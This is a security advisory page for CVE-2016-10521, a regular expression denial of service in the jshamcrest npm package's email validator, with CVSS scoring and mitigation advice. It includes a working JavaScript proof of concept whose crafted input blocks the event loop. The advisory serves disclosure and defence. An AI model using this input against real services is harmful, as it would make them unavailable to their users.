Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-xj62-87pg-vcv3
Advisory ID github_osv/GHSA-xj62-87pg-vcv3
Aliases CVE-2016-10521
Summary Regular Expression Denial of Service in jshamcrest The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator. ## Proof of concept ```js var js = require('jshamcrest') var emailAddress = new js.JsHamcrest.Matchers.emailAddress(); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{' console.log("LENGTH: " + str.length); var start = process.hrtime(); emailAddress.matches(str) var end = process.hrtime(start); console.log(end); } ``` ### Results It takes about 116 characters to get a 1.6 second event loop block. ``` [ 1, 633084590 ] COUNT: 51 LENGTH: 116 ``` # Timeline - October 25, 2015 - Vulnerability Identified - October 25, 2015 - Maintainers notified (no response) ## Recommendation The `jshamcrest` package currently has no patched versions available. At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).
Status Published
Exploitability 0.5
Weighted Severity 6.8
Risk 3.4
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-xj62-87pg-vcv3/GHSA-xj62-87pg-vcv3.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

There are no SSVC decisions available.